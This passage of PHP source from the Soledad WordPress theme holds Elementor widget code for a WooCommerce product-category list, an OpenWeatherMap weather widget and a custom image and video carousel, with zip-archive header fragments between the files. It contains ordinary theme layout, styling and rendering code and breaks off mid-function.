		wc_set_loop_prop( 'elementor', true );

		$carousel_id = 'penci_categories_' . rand( 1000, 9999 );

		if ( 'carousel' === $settings['style'] ) {
			$settings['scroll_per_page'] = 'yes';
			$settings['carousel_id']     = $carousel_id;

			$this->add_render_attribute( 'wrapper', 'class', 'swiper penci-owl-carousel penci-owl-carousel-slider ' );
			$this->add_render_attribute( 'wrapper', 'data-item', isset( $settings['slides_per_view']['size'] ) ? $settings['slides_per_view']['size'] : 3 );
			$this->add_render_attribute( 'wrapper', 'data-desktop', isset( $settings['slides_per_view']['size'] ) ? $settings['slides_per_view']['size'] : 3 );
			$this->add_render_attribute( 'wrapper', 'data-dots', $settings['hide_pagination_control'] );
			$this->add_render_attribute( 'wrapper', 'data-nav', $settings['hide_prev_next_buttons'] );
			$this->add_render_attribute( 'wrapper', 'data-loop', $settings['wrap'] );
			$this->add_render_attribute( 'wrapper', 'data-ceffect', $settings['carousel_slider_effect'] );
			$this->add_render_attribute( 'wrapper', 'data-auto', $settings['autoplay'] );
			$this->add_render_attribute( 'wrapper', 'data-speed', $settings['speed'] );
			$this->add_render_attribute( 'wrapper', 'data-margin', 30 );
			$this->add_render_attribute( 'wrapper', 'data-lazy', $settings['scroll_carousel_init'] );

			if ( 'yes' === $settings['scroll_carousel_init'] ) {
				$this->add_render_attribute( 'wrapper', 'class', 'scroll-init' );
			}

			if ( get_theme_mod( 'penci_disable_owl_mobile_devices' ) ) {
				$this->add_render_attribute( 'wrapper', 'class', 'disable-owl-mobile' );
			}
		}

		// Wrapper classes.
		$this->add_render_attribute(
			[
				'wrapper' => [
					'class' => [
						'products',
						'woocommerce',
						'columns-' . $columns,
						'categories-style-' . $settings['style'],
						'grid-spacing-' . $settings['spacing'],
						$style_class,
					],
				],
			]
		);
		if ( $categories ) :
			?>
            <div class="woocommerce penci-product-categories">
				<?php $this->markup_block_title( $this->get_settings(), $this ); ?>
                <ul <?php echo $this->get_render_attribute_string( 'wrapper' ); ?>>
					<?php if ( $settings['style'] == 'carousel' ) {
						echo '<div class="swiper-wrapper">';
					} ?>

					<?php if ( ! in_array( $settings['style'], array( 'default', 'carousel' ) ) )  { ?>
                    <ul>
						<?php } ?>
						<?php foreach ( $categories as $category ) : ?>
							<?php
							wc_get_template(
								'content-product-cat.php',
								array(
									'category' => $category,
								)
							);
							?>
						<?php endforeach; ?>
						<?php if ( ! in_array( $settings['style'], array( 'default', 'carousel' ) ) )  { ?>
                    </ul>
				<?php } ?>
					<?php if ( $settings['style'] == 'carousel' ) {
						echo '</div>';
					} ?>
                </ul>
            </div>
		<?php endif;
		wc_reset_loop();
	}
}
PK     1w\X    *  elementor/modules/penci-weather/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciWeather;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-weather';
	}

	public function get_widgets() {
		return array( 'PenciWeather' );
	}
}
PK     1w\       9  elementor/modules/penci-weather/widgets/penci-weather.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciWeather\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciWeather extends Base_Widget {

	public function get_name() {
		return 'penci-weather';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Weather', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-image';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'weather' );
	}

    public function get_style_depends(){
	    return ['penci-font-iweather'];
    }

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_layout', array(
				'label' => esc_html__( 'Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'penci_user_loc', array(
				'label'   => __( 'Enable User Location', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Enable', 'soledad' ),
				'label_off' => __( 'Disable', 'soledad' ),
			)
		);

		$this->add_control(
			'penci_save_user_loc', array(
				'label'   => __( 'Use Cookies to Save Weather Data When Users Access it Based on Their Location?', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Enable', 'soledad' ),
				'label_off' => __( 'Disable', 'soledad' ),
				'condition' => ['penci_user_loc'=>'yes']
			)
		);

		$this->add_control(
			'penci_location', array(
				'label'       => __( 'Search your for location:', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => 'London',
				'description' => sprintf( '%s - You can use "city name" (ex: New York) or "city name,country code" (ex: New York, US)',
					'<a href="' . esc_url( 'http://openweathermap.org/find' ) . '">' . esc_html__( 'Find your location', 'soledad' ) . '</a>' ),
				'label_block' => true,
			)
		);

		$this->add_control(
			'penci_location_show', array(
				'label'       => __( 'Location display', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'description' => esc_html__( 'If the option is empty,will display results from ', 'soledad' ) . '<a href="' . esc_url( 'http://openweathermap.org/find' ) . '">openweathermap.org</a>',
				'label_block' => true,
			)
		);

		$this->add_control(
			'penci_units', array(
				'label'   => __( 'Units', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'metric',
				'options' => array(
					'imperial' => esc_html__( 'F', 'soledad' ),
					'metric'   => esc_html__( 'C', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'penci_forcast', array(
				'label'   => __( 'Forcast', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '5',
				'options' => array(
					'1' => esc_html__( '1 Day', 'soledad' ),
					'2' => esc_html__( '2 Days', 'soledad' ),
					'3' => esc_html__( '3 Days', 'soledad' ),
					'4' => esc_html__( '4 Days', 'soledad' ),
					'5' => esc_html__( '5 Days', 'soledad' ),
				),
			)
		);
		
		$this->end_controls_section();
		$this->register_block_title_section_controls();

		// Design
		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'w_genneral_color',
			array(
				'label'     => __( 'General color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-weather-condition,' .
					'{{WRAPPER}} .penci-weather-information,' .
					'{{WRAPPER}} .penci-weather-lo-hi__content .fa,' .
					'{{WRAPPER}} .penci-circle,' .
					'{{WRAPPER}} .penci-weather-animated-icon i,' .
					'{{WRAPPER}} .penci-weather-unit' => 'color: {{VALUE}};  opacity: 1;',
				),
			)
		);

		$this->add_control(
			'w_localtion_color',
			array(
				'label'     => __( 'Localtion color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-weather-city' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'w_location_typo',
				'label'    => __( 'Typography for Location', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-weather-city',
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'w_condition_typo',
				'label'    => __( 'Typography for Cloudiness', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-weather-condition',
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'w_whc_info_typo',
				'label'    => __( 'Typography for Wind,Humidity, Clouds', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-weather-information',
			)
		);

		$this->add_control(
			'w_border_color',
			array(
				'label'     => __( 'Border color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-weather-information' => 'border-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'w_degrees_color',
			array(
				'label'     => __( 'Degrees color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-big-degrees,{{WRAPPER}} .penci-small-degrees' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'w_temp_typo',
				'label'    => __( 'Typography for Temperature', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-weather-now .penci-big-degrees',
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'w_tempsmall_typo',
				'label'    => __( 'Typography for Min/Max Temperature', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-weather-degrees-wrap .penci-small-degrees',
			)
		);

		$this->add_control(
			'w_forecast_text_color',
			array(
				'label'     => __( 'Custom color for forecast weather in next days', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-weather-week' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'w_forecast_bg_color',
			array(
				'label'     => __( 'Custom background for forecast weather in next days', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
                        'body:not(.pcdm-enable) {{WRAPPER}} .penci-weather-week:before' => 'background-color: {{VALUE}}; opacity: 1;',
                ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'w_forecast_typo',
				'label'    => __( 'Typography for Weather Forecast', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-weather-days .penci-day-degrees',
			)
		);


		$this->end_controls_section();
		
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class = 'penci-block-vc penci_block_weather penci-weather';
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content">
				<?php
				$weather_data = \Penci_Weather::show_forecats( array(
					'location'      => $settings['penci_location'],
					'location_show' => $settings['penci_location_show'],
					'forecast_days' => $settings['penci_forcast'],
					'units'         => $settings['penci_units'],
					'user_loc'		=> $settings['penci_user_loc'],
					'cookie'		=> $settings['penci_save_user_loc'],
				) );

				if( $weather_data ) {
					echo $weather_data;
				}else {
					echo '<div class="penci-block-error">';
					echo '<span>Weather widget</span>';
					echo ' You need to fill API key to Customize > General > Extra Options > Weather API Key to get this widget work.';
					echo '</div>';
				}
				?>
			</div>
		</div>
		<?php
	}
}
PK     1w\p  p  2  elementor/modules/penci-custom-carousel/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCustomCarousel;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-custom-carousel';
	}

	public function get_widgets() {
		return array( 'PenciCustomCarousel' );
	}
}
PK     1w\jTf  Tf  I  elementor/modules/penci-custom-carousel/widgets/penci-custom-carousel.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCustomCarousel\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Plugin;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciCustomCarousel extends Base_Widget {


	private $slide_prints_count = 0;

	public function get_name() {
		return 'penci-custom-carousel';
	}

	public function get_title() {
		return esc_html__( 'Custom Carousel', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-carousel';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'custom', 'carousel', 'navigation' ];
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_slides',
			[
				'label' => esc_html__( 'Slides', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			]
		);

		$this->add_responsive_control(
			'slides_per_view',
			[
				'label'          => esc_html__( 'Slides Per View', 'soledad' ),
				'type'           => Controls_Manager::SELECT,
				'options'        => [
					'auto' => 'Auto',
					'1' => '1 Column',
					'2' => '2 Columns',
					'3' => '3 Columns',
					'4' => '4 Columns',
					'5' => '5 Columns',
					'6' => '6 Columns',
				],
				'default'        => '3',
				'tablet_default' => '2',
				'mobile_default' => '1',
			]
		);

		$this->add_control(
			'content_type',
			[
				'label'   => esc_html__( 'Content Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					''                   => esc_html__( 'Default', 'soledad' ),
					'penci-ccarousel-custom-content' => esc_html__( 'Custom Content', 'soledad' ),
				],
			]
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'type',
			[
				'type'        => Controls_Manager::CHOOSE,
				'label'       => esc_html__( 'Type', 'soledad' ),
				'default'     => 'image',
				'options'     => [
					'image' => [
						'title' => esc_html__( 'Image', 'soledad' ),
						'icon'  => 'eicon-image',
					],
					'video' => [
						'title' => esc_html__( 'Video', 'soledad' ),
						'icon'  => 'eicon-video-camera',
					],
				],
				'label_block' => false,
				'toggle'      => false,
			]
		);

		$repeater->add_control(
			'image',
			[
				'label'   => esc_html__( 'Image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'dynamic' => [ 'active' => true ],
			]
		);

		$repeater->add_control(
			'image_link_to_type',
			[
				'label'     => esc_html__( 'Link to', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => [
					''       => esc_html__( 'None', 'soledad' ),
					'file'   => esc_html__( 'Media File', 'soledad' ),
					'custom' => esc_html__( 'Custom URL', 'soledad' ),
				],
				'condition' => [
					'type' => 'image',
				],
			]
		);

		$repeater->add_control(
			'image_link_to',
			[
				'type'        => Controls_Manager::URL,
				'placeholder' => 'http://your-link.com',
				'dynamic'     => [ 'active' => true ],
				'condition'   => [
					'type'               => 'image',
					'image_link_to_type' => 'custom',
				],
				'separator'   => 'none',
				'show_label'  => false,
			]
		);

		$repeater->add_control(
			'video',
			[
				'label'         => esc_html__( 'Video Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'dynamic'       => [ 'active' => true ],
				'placeholder'   => esc_html__( 'Enter your video link', 'soledad' ),
				'description'   => esc_html__( 'Insert YouTube or Vimeo link', 'soledad' ),
				'show_external' => false,
				'condition'     => [
					'type' => 'video',
				],
			]
		);

		$this->add_control(
			'slides',
			[
				'label'     => esc_html__( 'Slides', 'soledad' ),
				'type'      => Controls_Manager::REPEATER,
				'fields'    => $repeater->get_controls(),
				'default'   => $this->get_repeater_defaults(),
				'condition' => [
					'content_type' => ''
				],
			]
		);


		$repeater_2 = new Repeater();

		$repeater_2->add_control(
			'source',
			[
				'type'        => Controls_Manager::CHOOSE,
				'label'       => esc_html__( 'Source', 'soledad' ),
				'default'     => 'editor',
				'options'     => [
					'editor'   => [
						'title' => esc_html__( 'Editor', 'soledad' ),
						'icon'  => 'eicon-edit',
					],
					'template' => [
						'title' => esc_html__( 'Template', 'soledad' ),
						'icon'  => 'eicon-section',
					],
				],
				'label_block' => false,
				'toggle'      => false,
			]
		);


		$repeater_2->add_control(
			'template_source',
			[
				'label'     => esc_html__( 'Select Source', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'elementor',
				'options'   => [
					"elementor" => esc_html__( 'Elementor Template', 'soledad' ),
					'anywhere'  => esc_html__( 'Penci Block Template', 'soledad' ),
				],
				'condition' => [
					'source' => 'template',
				],
			]
		);
		$repeater_2->add_control(
			'elementor_template',
			[
				'label'       => __( 'Select Template', 'soledad' ),
				'label_block' => true,
				'placeholder' => __( 'Type and select template', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'elementor_library',
				'condition'   => [
					'source'          => 'template',
					'template_source' => "elementor"
				],
			]
		);
		$repeater_2->add_control(
			'anywhere_template',
			[
				'label'       => __( 'Select Template', 'soledad' ),
				'label_block' => true,
				'placeholder' => __( 'Type and select template', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'penci-block',
				'condition'   => [
					'source'          => 'template',
					'template_source' => "anywhere"
				],
			]
		);

		$repeater_2->add_control(
			'editor_content',
			[
				'type'       => Controls_Manager::TEXTAREA,
				'dynamic'    => [ 'active' => true ],
				'default'    => __( 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.', 'soledad' ),
				'show_label' => false,
				'condition'  => [
					'source' => 'editor',
				],
			]
		);

		$repeater_2->add_responsive_control(
			'custom_slide_width',
			[
				'label'     => __( 'Custom Slide Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => array( 'size' => '' ),
				'size_units'   => array( '%','px' ),
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}}'  => 'width: {{SIZE}}{{UNIT}};'
				),
			]
		);

		$this->add_control(
			'skin_template_slides',
			[
				'label'     => esc_html__( 'Slides', 'soledad' ),
				'type'      => Controls_Manager::REPEATER,
				'fields'    => $repeater_2->get_controls(),
				'default'   => $this->get_repeater_defaults(),
				'condition' => [
					'content_type' => 'penci-ccarousel-custom-content'
				],
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'image_size',
				'default'   => 'medium',
				'separator' => 'before',
				'condition' => [
					'content_type!' => 'penci-ccarousel-custom-content',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_additional_options',
			[
				'label' => esc_html__( 'Carousel Settings', 'soledad' ),
			]
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control( 'autoplay', array(
			'label'   => __( 'Autoplay', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );

		$this->add_control( 'loop', array(
			'label'     => __( 'Carousel Loop', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'default'   => 'yes',
			'condition' => array( 'carousel_slider_effect' => 'default' ),
		) );
		$this->add_control( 'auto_time', array(
			'label'   => __( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 4000,
		) );
		$this->add_control( 'speed', array(
			'label'   => __( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 600,
		) );
		$this->add_control( 'shownav', array(
			'label'   => __( 'Show next/prev buttons', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->add_control( 'showdots', array(
			'label' => __( 'Show dots navigation', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->end_controls_section();

		$this->start_controls_section(
			'section_slides_style',
			[
				'label' => esc_html__( 'Slides', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'space_between',
			[
				'label'   => esc_html__( 'Space Between', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'range'   => [
					'px' => [
						'max' => 50,
					],
				],
				'default' => [
					'size' => 10,
				],
				'condition' => ['carousel_slider_effect'=>'default']
			]
		);

		$this->add_control(
			'slide_background_color',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .swiper-carousel .swiper-slide' => 'background-color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'slide_border_size',
			[
				'label'     => esc_html__( 'Border Size', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .swiper-carousel .swiper-slide' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
				],
			]
		);

		$this->add_control(
			'slide_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .swiper-carousel .swiper-slide' => 'border-color: {{VALUE}}',
				],
			]
		);

		$this->add_responsive_control(
			'slide_padding',
			[
				'label'     => esc_html__( 'Padding', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .swiper-carousel .swiper-slide' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
				],
				'separator' => 'before',
			]
		);

		$this->add_responsive_control(
			'slide_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ 'px', '%' ],
				'range'      => [
					'%' => [
						'max' => 50,
					],
				],
				'selectors'  => [
					'{{WRAPPER}} .swiper-carousel .swiper-slide, {{WRAPPER}} .penci-ccarousel-ep-custom-carousel .swiper-carousel' => 'border-radius: {{SIZE}}{{UNIT}};overflow:hidden;',
				],
			]
		);

		$this->add_control(
			'shadow_mode',
			[
				'label'        => esc_html__( 'Shadow Mode', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'prefix_class' => 'penci-ccarousel-ep-shadow-mode-',
			]
		);

		$this->add_control(
			'shadow_color',
			[
				'label'     => esc_html__( 'Shadow Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'shadow_mode' => 'yes',
				],
				'selectors' => [
					'{{WRAPPER}} .elementor-widget-container:before' => is_rtl() ? 'background: linear-gradient(to left, {{VALUE}} 5%,rgba(255,255,255,0) 100%);' : 'background: linear-gradient(to right, {{VALUE}} 5%,rgba(255,255,255,0) 100%);',
					'{{WRAPPER}} .elementor-widget-container:after'  => is_rtl() ? 'background: linear-gradient(to left, rgba(255,255,255,0) 0%, {{VALUE}} 95%);' : 'background: linear-gradient(to right, rgba(255,255,255,0) 0%, {{VALUE}} 95%);',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section( 'section_design_sliderdosnav', array(
			'label' => __( 'Slider Controls', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE
		) );

		$this->add_control( 'heading_pagi_style', array(
			'label'     => __( 'Dots Pagination', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'dots_bg_color', array(
			'label'     => __( 'Dot Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel .penci-owl-dot span,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span,{{WRAPPER}} .swiper-container .progress' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bd_color', array(
			'label'     => __( 'Dot Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bga_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bda_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_cs_w', array(
			'label'     => __( 'Dot Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 5, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'width: {{SIZE}}px;height: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_csbd_w', array(
			'label'     => __( 'Dot Borders Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-width: {{SIZE}}px;' ),
		) );

		$this->add_control( 'heading_prenex_style', array(
			'label'     => __( 'Previous/Next Buttons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'dots_nxpv_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_sizes', array(
			'label'     => __( 'Button Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'padding:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; width: auto;height: auto;line-height: normal;margin-top:0;transform:translateY(-50%);' ),
		) );

		$this->add_control( 'dots_nxpv_isizes', array(
			'label'     => __( 'Icon Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev i, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next i, {{WRAPPER}} .slider-40-wrapper .nav-slider-button i' => 'font-size: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_nxpv_bdradius', array(
			'label'     => __( 'Button Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->end_controls_section();
	}

	protected function get_default_slides_count() {
		return 5;
	}

	protected function get_repeater_defaults() {
		$placeholder_image_src = Utils::get_placeholder_image_src();

		return array_fill( 0, $this->get_default_slides_count(), [
			'image' => [
				'url' => $placeholder_image_src,
			],
		] );
	}

	protected function get_image_caption( $slide ) {
		$caption_type = $this->get_settings_for_display( 'caption' );

		if ( empty( $caption_type ) ) {
			return '';
		}

		$attachment_post = get_post( $slide['image']['id'] );

		if ( 'caption' === $caption_type ) {
			return $attachment_post->post_excerpt;
		}

		if ( 'title' === $caption_type ) {
			return $attachment_post->post_title;
		}
	}

	protected function get_image_link_to( $slide ) {
		if ( isset( $slide['video']['url'] ) ) {
			return $slide['image']['url'];
		}

		if ( ! isset( $slide['image_link_to_type'] ) ) {
			return '';
		}
		if ( 'custom' === $slide['image_link_to_type'] ) {
			return $slide['image_link_to']['url'];
		}

		return $slide['image']['url'];
	}

	protected function print_slide( array $slide, array $settings, $element_key ) {

		if ( 'penci-ccarousel-custom-content' === $settings['content_type'] ) {
			$this->render_slide_template( $slide, $element_key, $settings );
		} else {
			if ( ! empty( $settings['thumbs_slider'] ) ) {

				$settings['video_play_icon'] = false;
			}

			$this->add_render_attribute( $element_key . '-image', [
				'class' => 'penci-image-holder penci-lazy',
				'data-bgset' => $this->get_slide_image_url( $slide, $settings ),
			] );

			$image_link_to = $this->get_image_link_to( $slide );


			if ( $image_link_to ) {

